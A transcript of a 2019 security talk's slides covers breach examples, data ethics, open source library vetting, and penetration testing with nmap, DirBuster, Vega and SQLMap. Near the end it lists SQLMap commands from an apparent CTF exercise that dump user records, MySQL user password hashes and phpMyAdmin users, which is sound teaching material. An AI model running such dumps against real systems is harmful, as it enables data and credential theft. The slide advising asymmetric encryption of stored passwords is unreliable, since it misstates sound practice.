The document discusses information security for data-driven platforms and open source projects. It motivates the importance of security through examples of data breaches. It covers topics like encryption, authentication, vulnerabilities in open source code, and how to evaluate open source libraries for security issues. The document demonstrates penetration testing tools like Vega and SQLMap to find vulnerabilities like SQL injection in web applications.

1. Demystify Information Security & Threats for
Data-Driven Platforms
Chetan Khatri
Solution Architect - Data & ML.
Accionlabs Inc.
18th Oct, 2019

2. Who Am I?
Professional Career:
● 2016 - Present. - Technical Lead / Solution Architect - Data & ML.
● 2015 - 2016 - Principal Big Data Engineer, Lead - Data Science Practice.
● 2014 - 2016 - Developer - Data Platforms.
● 2012 - 2014 - Consultant - Product developments.
University: Master of Computer Science.
Data Warehousing, Data Mining, Information Security / Cryptography, Reverse
Engineering, Information Retrieval.

3. Agenda
● Motivation
● Information Security - Ethics.
● Encryption
● Authentication
● Information Security & Potential threats with Open Source World.
● Find vulnerabilities.
● Checklist before using any Open Source library.
● Vulnerabilities report.
● Penetration Testing for Data Driven Developments.

4. Information Security - Motivation
Why Information Security is important?

5. Information Security - Motivation
Source:
https://www.huffingtonpost.in/2018/07/06/hackers-have-ac
cessed-email-ids-phone-numbers-of-over-5-million-yatra-u
sers_a_23475885/

6. Information Security - Motivation
Source:
https://techcrunch.com/2019/01/30/state-b
ank-india-data-leak/

7. Information Security - Motivation
Source:
https://techcrunch.com/2019/01/30/state-b
ank-india-data-leak/

8. Information Security - Motivation
Source:
https://economictimes.indiatimes.com/smal
l-biz/security-tech/security/zomato-hacked-
security-breach-results-in-17-million-user-d
ata-stolen/articleshow/58729251.cms

9. Information Security - Motivation
Source:
https://www.forbes.com/sites/zakdoffman/2
019/07/09/warning-as-millions-of-zoom-us
ers-risk-webcam-hijack-change-your-settin
gs-now/#281cb40642d9

10. Information Security - Motivation

11. Information Security - Motivation

12. Information Security - Motivation

13. Source:
https://www.zdnet.com/article/another-data-leak-hits-indi
a-aadhaar-biometric-database/

14. Information Security - Ethics.
● Information Storage - What, Which form, Access to whom?
● Information Usage - Where, How, Which form?
● Responsibility - Ownership, usage?
● Confidentiality
● Authentication
● Governance - Regulators, Guidelines, Damage?
● Freedom vs Force
● Damage to the Society.
● Impact on humanity.
● Data Breach and Cost.

15. Freedom vs Force

16. Freedom vs Force
Source:
https://en.wikipedia.org/wiki/Facebook%E2%80%93Cambridge_Analytica_data_scandal

17. Freedom vs Force
Source:
https://www.cnbc.com/2018/04/10/facebook-cambridge-anal
ytica-a-timeline-of-the-data-hijacking-scandal.html
Source:
https://www.engadget.com/2019/07/24/facebook-will-pay-5-b
illion-fine-for-cambridge-analytica-data-b/

18. Data Monetization against ethics
Source:
https://techcrunch.com/2019/03/22/facebook-staff-raised-concerns-
about-cambridge-analytica-in-september-2015-per-court-filing/
Source:
https://www.theguardian.com/news/2018/mar/17/cambridge-analyti
ca-facebook-influence-us-election

19. Encryption
How many people have seen Password in Plain Text at Database?
80%??
90%??
Yes, Sad but True.
Source:
https://www.digitaltrends.com/news/equifax-data-breach-class-action-lawsuit-hack
-password/

20. Encryption
How many people have seen Password in Plain Text at Database?
80%??
90%??
Yes, Sad but True.
Never ever store password of the application in Plain-text.
Encrypt it. Use Asymmetric Key Encryption
If RSA, use ssh-keygen -t rsa -b 4096

21. Authentication
Open IP
Open Ports
Default Username and Password for Database, Services etc.
Chmod 777 for all directories, files ! Lol ;p

22. Information Security & Potential threats
with Open Source World.

23. Information Security & Potential threats with Open
Source World.
How many of you use Open Source ?

24. Security for Open Source world
How well do you know what is inside your project?

25. Security for Open Source world
Known Good Development practices.
Community Supported Open Source Code.
v/s
Random Code found on the Internet.

26. Vulnerability in Open Source
Source:
https://synopsys.com/content/dam/synopsys/sig-assets/repo
rts/2018-ossra.pdf

27. How Do I Choose GOOD Open Source

28. How do I choose SECURE open source packages?

29. How do I choose SECURE open source packages?
Have a look
First look

30. Key questions for a first look?
● Read the README.md or any other readily accessible introductory
information?
● Does code seem to be held with good software development standards?
● Does this code develop for professional purposes or hobby projects?
● Any signs for known issues in the code?
● Does this code only solve one use case or is it robust enough for other use
cases?
● Is this code active or an archive, “abandoned”?
Look for warning signs...

31. Warning Signs

32. Even an author says - to use something else!
Source:
https://code.google.com/archive/p/c
rypto-js/

33. Build by an unauthorized person
Source:
https://metacpan.org/release/Tivoli-
AccessManager-Admin

34. I did not write this code, but I like it.
Source:
https://github.com/kbranigan/cJSON

35. Not maintained anymore … Archived!
Source:
https://code.google.com/archive/p/crypto-js/

36. Dumbest library - An author!
Source:
https://github.com/kbranigan/cJSON/commit/730
209a718cc9bada631cea136d13017752720f5

37. It is slower and more subjective to side-channel
attacks by nature.
Source:
http://www.literatecode.com/aes256

38. What to watch before using any
package/library?

39. Key Questions for each Open Source Library
Do only 1-2 Collaborators exist? Chances are
more to have unreviewed, harmful code.
Code merged to master branch is been reviewed
with PR?
How many issues are OPEN?
Validate that OPEN issues are being addressed?
Is that code maintained or abandon?
Are issues getting fixed and released promptly?

40. Key Questions for each Open Source Library
Check recently active committers and
commit? To understand how old is the
project.
Check how they handle vulnerabilities and
security.
How you can report security
vulnerabilities?
Check open security bugs/issues?
Good example: Apache Community.
https://www.apache.org/security/

41. Reporting A Vulnerability

42. Vulnerability Handling

43. No known vulnerabilities doesn’t mean SECURITY!
1101 new vulnerabilities
reported only in Oct,
2019.
Source:
https://nvd.nist.gov/vuln/full-l
isting/2019/10

44. Vulnerabilities report
we are going far worse!
Source:
https://www.cvedetails.com/brows
e-by-date.php

45. Penetration Testing
{Network, Database}

46. Check number of OPEN services and ports
sudo nmap -p-
-sS -A
IP-Address

47. Server Files / Directories Scan on permission and
Access
java -jar DirBuster-0.12.jar -H -u
http://167.71.224.201:1337
httrack website copier

48. Subgraph Vega
● Vega is a free and open source web security scanner and web security testing
platform to test the security of web applications.
● SQL Injection
● XSS
● Inadvertently disclosed sensitive information
● Reflected cross-site scripting
● Stored cross-site scripting
● Blind SQL injection
● Remote file include
● Shell injection
● TLS / SSL security settings

49. Setup Proxy for Vega Tool

50. Setup Proxy for Vega Tool

51. Vega - Start the proxy!

52. Vega - Start scanning Web application

53. Vega - Start scanning Web application

54. Security Scanning alert summary

55. Security Scanning alert summary

56. Web Application - Tracing web request payload at Proxy

57. Web Application - Tracing web request payload at Proxy

58. Web Application - Intercepting the response callback at Proxy

59. SqlMap - A penetration testing tool for exploiting SQL
injection flaws and a lot!
● Database fingerprinting.
● Full Support for SQL Injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based,
stacked queries and out-of-band.
● Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
● dump database tables entirely.
● Out of Box Search support for Database names, Table names, Column names and values.
● Support to execute arbitrary commands and retrieve their standard output.
● Support to establish an out-of-band stateful TCP connection between the attacker machine and the database
server.

60. Demo - Penetration testing a Web Application using SQLMap

61. Demo - Penetration testing a Web Application using SQLMap

62. Demo - Penetration testing a Web Application using SQLMap

63. Demo - Penetration testing a Web Application using SQLMap

64. Demo - Penetration testing a Web Application using SQLMap

65. Demo - Penetration testing a Web Application using SQLMap

66. Demo - Penetration testing a Web Application using SQLMap

67. Demo - Penetration testing a Web Application using SQLMap

68. Demo - Penetration testing a Web Application using SQLMap

69. SQLMap - Commands
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables user_profile
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T user_profile --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T user_profile -C Email, Mobile, Name --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T ctf --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D ctf -T flag -C Flag1 --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T users --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D mysql -T user -C User, Password --dump
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D test --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin --tables
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin -T pma__users --columns
python sqlmap.py -r ctf.log -p"email" --dbms=MYSQL --dbs -D phpmyadmin -T pma__users --columns --dump
https://gist.github.com/chetkhatri/45b76d3f2d1da1d798d86a
8709f33ac5

70. Questions?

71. Hope you had a fun!

72. Thank you!
Chetan Khatri, chetan.khatri@live.com
@khatri_chetan - https://twitter.com/khatri_chetan
https://github.com/chetkhatri